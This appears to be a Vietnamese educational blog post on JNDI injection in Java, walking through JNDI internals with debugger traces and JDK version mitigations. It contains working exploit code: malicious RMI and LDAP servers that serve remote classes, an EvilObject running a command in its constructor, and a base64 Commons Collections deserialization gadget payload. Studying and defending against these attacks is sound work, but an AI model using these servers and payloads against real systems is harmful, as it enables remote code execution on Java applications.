JavaSec - JNDI Injection

JavaSec - JNDI Injection

·

18 min read

1. Giới thiệu

Tiếp theo trong hành trình học Java Sec của mình là lỗ hổng liên quan đến JNDI, cụ thể là JNDI Injection. Trước khi tìm hiểu cách khai thác, ta cần biết JNDI là gì ? Cách nó hoạt động như thế nào ? Thông qua cách hoạt động đó thì tìm ẩn rủi ro gì ?

Bài viết này mình tham khảo theo 2 bài blog sau:

2. JNDI là gì ?

Okie bây giờ vào phần chính. Vậy thì JNDI là gì và có các khái niệm cơ bản nào trong JNDI

Đầu tiên JNDI là viết tắt của Java Naming Directory Interface, ta thấy từ tên gọi thì JNDI được cấu thành từ 2 yếu tố là Naming và Directory, cụ thể từng thành phần như sau

Naming (hay Naming Service)

Đúng như tên gọi, Naming Service là một dịch vụ cho phép ta đặt tên cho một Object thông qua việc bind object với một tên gọi, khi cần sử dụng chỉ cần lookup theo tên. Naming Service này tương tự như cách DNS hoạt động khi bind một IP với một domain cụ thể

Directory (hay Directory Service)

Directory Service là dạng mở rộng của Naming Service, ngoài việc liến kết tên Object thì Directory Service còn cho phép liên kết thêm các attributes của Object đó, do đó khi lookup ngoài việc dùng tên thì ta còn có thể lookup thông qua các attributes

Một số Directory Service phổ biến có thể kể đến như LDAP hay Active Directory

JNDI

Vậy thì tóm lại JNDI là một interface cung cấp cho ta các API để tương tác với các Naming và Directory Service như LDAP, DNS, CORBA,....

Cấu trúc của JNDI được chia làm 2 phần là Java Application Layer Interface và SPI

What is JNDI in Java? | Architecture And JNDI Packages In Java

SPI (Service Provider Interface) đúng như tên gọi, là một interface cung cấp service, với tác dụng chính là cung cấp một interface thống nhất cho các directory service để việc sử dụng và tương tác với các thư viện thứ 3 dễ dàng và linh hoạt hơn.

Trên sơ đồ ta có thể thấy 6 directory service mặc định trong JNDI là LDAP, DNS, NIS, NDS, RMI và CORBA

ObjectFactory

Ngoài ra còn một khái niệm nữa mình muốn nhắc đến là ObjectFactory trong JNDI.

ObjectFactory đóng một vai trò quan trọng trong JNDI, khi nó được sử dụng để chuyển đổi Object trong Directory service thành Object hoặc các kiểu dữ liệu cơ bản trong Java. Khi ta request một Object từ JNDI thì implement của ObjectFactory sẽ tiến hành khởi tạo object đó cho ta thông qua references hoặc name mà ta truyền vào

public interface ObjectFactory {
    Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)
            throws Exception;
}

Bằng việc implement lại ObjectFactory ta có thể can thiệp vào quá trình khởi tạo object của JNDI (như tiêm vào đây một object độc hại), đây cũng chính là bản chất của JNDI Injection

3. Code ví dụ sử dụng JNDI

Okie các khái niệm cơ bản đã nắm rõ, giờ thì bắt tay vào code thôi (ở code demo và code exploit phía dưới mình đều dùng JDK8u66)

Ở đây mình sẽ demo bằng RMI server trong JNDI

Đầu tiên ta định nghĩa một class Person:

import java.io.Serializable;
import java.rmi.Remote;

public class Person implements Remote, Serializable {
    private static final long serialVersionUID = 1L;
    private String name;
    private String password;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String toString(){
        return "name:"+name+" password:"+password;
    }
}

Tiếp theo là dùng JNDI khởi tạo RMI server

LocateRegistry.createRegistry(6666);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");

InitialContext ctx = new InitialContext();


Person p = new Person();
p.setName("endy");
p.setPassword("soymilk");

ctx.bind("person", p);
ctx.close();

Và cuối cùng tại Client, gọi đến RMI server để get remote method

System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
InitialContext ctx = new InitialContext();
Person p = (Person) ctx.lookup("person");
System.out.println(p.toString());
ctx.close();

Kết quả

Hiệu quả khi sử dụng JNDI tương tự như cách dùng RMI thông thường, vậy thì code đã làm những việc gì?

Đầu tiên ta khai báo Registry với port 6666, tiếp theo set 2 thuộc tính là INITIAL_CONTEXT_FACTORYPROVIDER_URL cho JNDI. Với INITIAL_CONTEXT_FACTORY sẽ cho JNDI biết service mà ta muốn sử dụng (ở đây là RMI) còn PROVIDER_URL sẽ cho JNDI biết địa chỉ service RMI của ta. Cuối cùng khởi tạo instance của Context để làm việc với JNDI thông qua InitialContext

LocateRegistry.createRegistry(6666);
System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");

InitialContext ctx = new InitialContext();

InitialContext có nhiều cách khởi tạo khác nhau

public InitialContext();

protected InitialContext(boolean lazy);

public InitialContext(Hashtable<?,?> environment);

Các bạn có thể tham khảo cách khởi tạo dùng Hashtable như sau:

Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:6666");  

Context initialContext = new InitialContext(env);

Tương tự như RMI thì Context cũng cung cấp 5 method để tương tác với service

// Binds a name to an object
bind(Name name, Object obj)

// Lists the names bound in the naming context along with the class names of the objects bound to them
list(String name)

// Retrieves the named object
lookup(String name)

// Rebinds a name to an object
rebind(String name, Object obj)

// Unbinds a named object
unbind(String name)

Như ta thấy ở trên demo, thì ta dùng bind để tạo ràng buộc giữa tên và object, sau đó tại client ta dùng lookup để tra cứu object thông qua tên.

4. Phân tích source code

Đầu tiên muốn khai thác một đối tượng thì ta phải hiểu rõ đối tượng đó, nên mình sẽ đi qua workflow của JNDI khi thực thi

Đầu tiên đặt breakpoint tại dòng khởi tạo instance của InitialContext

Constructor của InitialContext sẽ gọi đến init

init sẽ tạo một Hashtable với 2 tham số môi trường ta khai báo, và gọi đến getDefaultInitCtx

getDefaultInitCtx gọi đến NamingManager.getInitialContext với tham số là Hashtable chứa 2 biến env mà ta đã set

Tại đây instance của InitialContextFactoryBuilder được tạo thông qua getInitialContextFactoryBuilder

getInitialContextFactoryBuilder trả về InitialContextFactoryBuilder null nên ta nhảy được vào câu điều kiện builder == null

Trong câu điều kiện, className được lấy thông qua biến env INITIAL_CONTEXT_FACTORY mà ta truyền vào, và biến className sẽ được dùng để khởi tạo InitialContextFactory

Kết quả biến factoryRegistryContextFactory cũng chính là implement của InitialContextFactory giúp xử lý RMI Service trong JNDI

Ta thấy từ tham số môi trường đầu tiên là INITIAL_CONTEXT_FACTORY ta tạo được instance của implement xử lý RMI Service trong JNDI

Vậy thì env thứ 2 của ta là PROVIDER_URL được xử lý như thế nào ? Nếu muốn biết thì ta tiếp tục debug thoaiii

Debug đến cuối method thì ta thấy getInitialContext của factory ở đây chính là RegistryContextFactory được gọi

Tại getInitialContext , var1 chính là env mà ta set và được đưa vào URLToContext. Nhưng trước đó getInitCtxURL được gọi

getInitCtxUrl đơn giản là lấy ra URL thông qua key java.naming.provider.url của hashtable

Đi vào URLToContext, method này sẽ lấy instance của url mà ta đã set thông qua method getObjectInstance

Method getObjectInstance gọi đến getUsingURL

Tại đây sẽ thực hiện lookup Object thông qua url mà ta đã set trước đó

Tại method lookup, kết quả khi resolve url được lưu trong var2, ở đây ta có thể thấy resolvedObj chính là một RegistryImpl_Stub trong RMI

Và tiếp tục method gọi đến var3.lookupvar3Context được tạo từ var2 , mà ở trong trường hợp này là RegistryContext , tại RegistryContext.lookup() sẽ trả về instance của RegistryContext

Đây là constructor của RegistryContext

Và theo flow ở trên ta đã biết thì RegistryContext này được dùng để khởi tạo RegistryContextFactoryRegistryContextFactory có thể sử dụng RegstriImpl_Stub cho phép ta call remote method

Để tóm tắt thì mình sẽ dùng hình sau:

5. JNDI Protocol Dynamic Conversion

Có một cơ chế quan trọng mà ta cần phải biết khi tìm hiểu về JNDI injection đó là hành vi chuyển đổi giao thức động trong JNDI

Vẫn là đoạn code demo phía trên tuy nhiên ở phía client mình bỏ đi các dòng set biến môi trường và đặt url lookup thành như sau

InitialContext ctx = new InitialContext();
Person p = (Person) ctx.lookup("rmi://localhost:6666/person");
System.out.println(p.toString());
ctx.close();

Khi chạy thì vẫn cho ta kết quả như ban đầu

Vậy thì JNDI làm gì để nhận biết đây là RMI service ?

Debug vào method lookup , ta thấy method lookup của getURLOrDefaultInitCtx của InitialContext được gọi

Tại getURLOrDefaultInitCtx , Context sẽ được thông qua getURLContext với tham số là scheme ta lookup, trong trường hợp này là rmi

getURLContext gọi đến getURLObject với scheme là rmi

Tại getURLObject sẽ tạo ObjectFactory ứng với schema là rmi

factory sau khi tạo chính là rmiURLContextFactory

Ta để ý khi factory được tạo nó sẽ phụ thuộc vào biến defaultPkgPrefix . Tính năng chuyển đổi giao thức động sẽ được hỗ trợ by default bởi các giao thức nằm trong defaultPkgPrefix

Các giao thức nằm trong defaultPkgPrefix sẽ bao gồm

Sau khi khởi tạo được factory là rmiURLContextFactory thì khi quay trở lại method lookup, lookup của rmiURLContextFactory được gọi, tiếp theo thì thực hiện tương tự như flow ở trên mình đã phân tích

Tính năng tiện ích sẽ đi kèm với rủi ro, nếu ta có thể kiểm soát được chuỗi đưa vào method lookup ta có thể khiến server tải class độc hại dẫn đến nhiều nguy hiểm. Ý tưởng tấn công này cũng tương tự tấn công vào tính năng codebase của RMI mà mình đã nói ở bài trước

6. Reference class

Cuối cùng tính năng cần phải biết trước khi đi đến tấn công JNDI Injection là Reference class. Đây là class sẽ đại diện cho một object bên ngoài naming/directory service. Hay nói cách khác khi một object không tồn tại trong naming/directory service, thì Reference class sẽ được dùng để đại diện cho object đó, khi cần khởi tạo nó sẽ tải class đó về (tương tự codebase trong RMI)

Ta có thể tạo trực tiếp Reference class thông qua constructor với 3 tham số

Reference(String className,  String factory, String factoryLocation)
  • className: là tên class mà muốn khởi tạo khi sử dụng Reference

  • factory: chỉ định class implement ObjectFactory đủ điều kiện để khởi tạo className

  • factoryLocation: là đường dẫn dến factory, chấp nhận nhiều loại schema như http://, file://, ftp://, ... nhưng thông thường là http://

7. JNDI Injection

a. Ý tưởng

Ý tưởng tấn công JNDI Injection rất đơn giản, untrusted data rơi vào method lookup ta sẽ lợi dụng tính năng chuyển đổi giao thức động và Reference class để khiến client thay vì kết nối đến server như thông thường mà sẽ kết nối đến server của ta, tại đây ta host một class độc hại trả về cho client, khi class độc hại đó được khởi tạo ta có thể RCE.

Ví dụ khi tấn công RMI Service trong JNDI:

  • Khiến client lookup đến "rmi://evil.com:1099" thay vì "rmi://localhost:1099"

  • Tại đây dùng Reference class, để client gửi request đến "evil-cb.com"

  • Tại "evil-cb.com" sẽ trả về Evilclass có chứa payload tại constructor

  • Khi client khởi tạo Evilclass, payload trong constructor được thực thi

b. Tấn công JNDI - RMI

Như ý tưởng đã nêu ở trên mình có một evil RMI Server như sau

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {

        Registry registry = LocateRegistry.createRegistry(1099);
        Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:5555/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
        registry.bind("refObj", refObjWrapper);

    }
}

Tại đây mình dùng Reference để refer đến EvilObjecthttp://localhost:5555

Note: trong RMI các remote Object phải kế thừa UnicastRemoteObject class, do đó Reference của ta phải được bọc trong ReferenceWrapper

Nội dung của EvilObject

public class EvilObject extends UnicastRemoteObject implements ObjectFactory {
    public EvilObject() throws RemoteException {
        super();
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }

}

EvilObject sẽ implement ObjectFactory vì nó đang được khai báo là factory tại evil RMI server

Nội dung phía client

public class Client {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/refObj"; // untrusted data go here
        Context ctx = new InitialContext();
        System.out.println("Using lookup() to fetch object with " + uri);
        ctx.lookup(uri);
    }
}

Để demo exploit ta sẽ chạy evil rmi server trước, sau đó mở http server tại nơi lưu EvilObject.class (khác nơi với server) và cuối cùng là chạy client.

Chạy evil rmi server

Mình tạo một project khác để lưu EvilObject.class , và chạy http server tại đó

Kết quả khi chạy client

Okie vậy thì chuyện gì đã xảy ra, và tại sao ta lại phải cho payload vào constructor ?

Để giải đáp thì cùng mình debug quá trình exploit nha.

Đặt breakpoint tại lookup

Quá trình getURLOrDefaultInitCtx thì mình đã nói ở trên rồi nên sẽ không nhắc lại, mình sẽ nhảy trực tiếp vào lookup luôn

Vẫn tương tự flow đã nói ở trên, sau khi resolve thì gọi đến RegsitryContext.lookup . Tại đây vì var1 là object ta cần lookup tên là refObj nên nó sẽ đi vào nhánh else của câu điều kiện

var2 sau khi xử lý sẽ trả về ReferenceWrapper_Stub và được đưa vào decodeObject

Tại decodeObject sẽ thực hiện call với server để lấy ra Reference class thông qua method getReference

Ta thấy var3 chính là object Reference mà ta đã khai báo ở evil rmi client

Tiếp tục getObjectInstance của NamingManager được gọi, để lấy instance từ Reference. Tại đây vì biến ref khác null nên sẽ nhảy vào câu điều kiện

Tiếp theo gọi đến getObjectFactoryFromReference để tạo ObjectFactory, mà tại đây className sẽ được lấy ra từ Reference (1), sau đó được load thông qua loadClass (2) và cuối cùng được khởi tạo bằng newInstance (3)

Khi EvilObject được khởi tạo bằng newInstance constructor được gọi, payload được thực thi.

b. Tấn công JNDI - LDAP

Ở trên ta đã demo tấn công JNDI Injection với Naming Service là RMI, vậy thì khi tấn công JNDI Injection với Directory Service thì sẽ như thế nào ? Ở đây mình sẽ demo bằng Directory Service LDAP

Ở đây tránh lan man mình sẽ không đề cập đến khái niệm LDAP là gì, các bạn có thể tự tìm hiểu. Nhưng một điều cần lưu ý là LDAP sẽ lưu trữ thông tin dưới dạng cấu trúc dữ liệu cây, điều này cũng tương tự với đặt trưng của Directory Service. Do đó khi lookup dữ liêu trong LDAP ta sẽ phải đi từ gốc đến cành rồi mới đến lá đến quả.

Ý tưởng tấn công cũng tương tự trên, nhưng trước ta phải thêm thư viện ldap vào project, mình sẽ dùng unboundid-ldapsdk:3.1.1

Tạo một evil ldap server như sau

public class LDAPServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:5555/#EvilObject"};
        int port = 9999;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); 
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

Ta sẽ mở evil ldap server tại port 9999, mỗi khi client request đến ldap sever thì hàm sendResult sẽ được gọi để trả về kết quả, hàm sendResult sẽ đi đến http://127.0.0.1:5555/#EvilObject để lấy EvilObject về và gửi cho client

Nội dung EvilObject thì vẫn tương tự phần trên

public class EvilObject extends UnicastRemoteObject implements ObjectFactory {
    public EvilObject() throws RemoteException {
        super();
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }

}

Code phía client

public class LDAPClient {
    public static void main(String[] args) throws NamingException {
        String string = "ldap://localhost:9999/EvilObject";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(string);
    }
}

Để exploit mình sẽ khởi động evil ldap server trước, sau đó mở http server tại nơi lưu EvilObject sau đó mới đến Client

Kết quả:

Vây thì chuyển gì đã xảy ra, EvilObject được load như thế nào ? Để biết được thì ta cùng debug

Flow hoạt động cũng tương tự phần rmi ở trên nhưng sẽ khác đôi chút vì đây là Directory Service, cụ thể như sau:

getURLOrDefaultInitCtx sẽ trả về ldapURLContext vì đây là LDAP service

ldapURLContext sẽ gọi đến GenericURLContext.lookup()

Vì đây là LDAP Serivce nên kết quả của var3 sẽ là LdapCtx

Nhưng vì lookup không có class kế thừa nào tên là LdapCtx nên PartialCompositeContext.lookup được gọi

Tại đây thì nó gọi đến ComponentContext.p_lookup với var6 là classname EvilObject

Tại đây thì gọi đến c_lookup

Tại c_lookup sẽ trả về directory factory thông qua method getObjectInstance

getObjectInstance của DirectoryManagerNamingManager khá tương tự nhau, nên flow tiếp theo y hệt như mình đã nói phía trên. getObjectFactoryFromReference được gọi để lấy Object từ Reference và EvilObject cũng được khởi tạo tại đây

d. Lưu ý

Để có thể tấn công thành công JNDI Injection thì ta cần để ý phiên bản JDK của target, vì ở các phiên bản cao thì những code exploit trên của chúng ta là vô dụng và phải tìm cách exploit khác. Trong bài này mình sử dụng JDK8u66 để minh họa nên không bị ảnh hưởng gì tuy nhiên ở các bản JDK sau có 1 số tác động

  • JDK > 6u45, 7u21: Ở phiên bản này java.rmi.server.useCodebaseOnly được đặt mặt định là true nên tính năng load class từ xa của RMI bị vô hiệu, class chỉ được load khi nằm trong classpath hoặc được chi định bởi java.rmi.server.codebase

  • JDK > 6u141, 7u131, 8u121: Ở các phiên bản này com.sun.jndi.rmi.object.trustURLCodebase được giới thiệu và đặt mặc địch là false, khi đó RMI hay CORBA sẽ không được phép load class động từ bất kỳ URL nào mà phải từ classpath. Tuy nhiên ta có thể bypass bằng cách sử dụng URL với giao thức LDAP

  • JDK > 6u211, 7u201 và 8u191: Ở các phiên bản này option com.sun.jndi.ldap.object.trustURLCodebase được thêm vào và đặt mặc định là false, nó sẽ disable khả năng load class động của LDAP

8. JNDI Injection và Java Deser

Như đã đề cập ở trên thì trong các JDK phiên bản cao hơn việc tải lớp động của JNDI bị vô hiệu hóa, nên ta cần một hướng tấn công khác và tấn công kết hợp JavaDeser là một ví dụ

Trong LDAP thì cũng dùng nhiều cách khác nhau để lưu trữ dữ liệu và serialize data là một trong số đó, LDAP sẽ lưu serialize data trong attribute javaSerializedData , khi client nhận kết quả trả về sẽ nếu javaSerializedData được set nó sẽ tiến hành deser, nếu ta có thể kiểm soát được javaSerializedData và client có gadgetchain deserialize thì ta tấn công rất dễ dàng.

Để demo mình sẽ dùng chain của thư viện CC3.2.1. Code của evil ldap server sẽ như sau, với mã base64 là seri payload:

package LDAPServer;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
import java.util.Base64;

public class LDAPServer_JavaDeser {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1/#EXP"};
        int port = 9999;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"), 
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
            e.addAttribute("javaClassName", "foo");
            e.addAttribute("javaSerializedData", Base64.getDecoder().decode(
                    "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWJjc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABxzcQB+ABN1cQB+ABgAAAACcHB0AAZpbnZva2V1cQB+ABwAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQABGNhbGN0AARleGVjdXEAfgAcAAAAAXEAfgAfc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AANlZWV4"
            ));
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

Ta cần set 2 thuộc tính là javaClassNamejavaSerializedData

Khi chạy client thì calc được popup

Vậy thì tại sao cần set đến 2 attribute và JNDI đã giải tuần tự hóa ở đâu?

Khi tiến hành debug ta sẽ thấy tại method c_lookup của LdapCtx có một câu điều kiện như thế này

Nếu ((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) có tồn tại, thì sẽ gọi đến Obj.decodeObject để giải tuần tự hóa Object. Mà ((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) sẽ trả về attribute javaClassName ta set lúc nãy, đó cũng là lý do tại sao muốn deser Object thì phải set javaClassName

Hàm decodeObject đơn giản gọi đến deserializeObject để deser javaSerializedData

9. Case Study: Log4Shell

https://endy21.hashnode.dev/log4shell-cve-2021-44228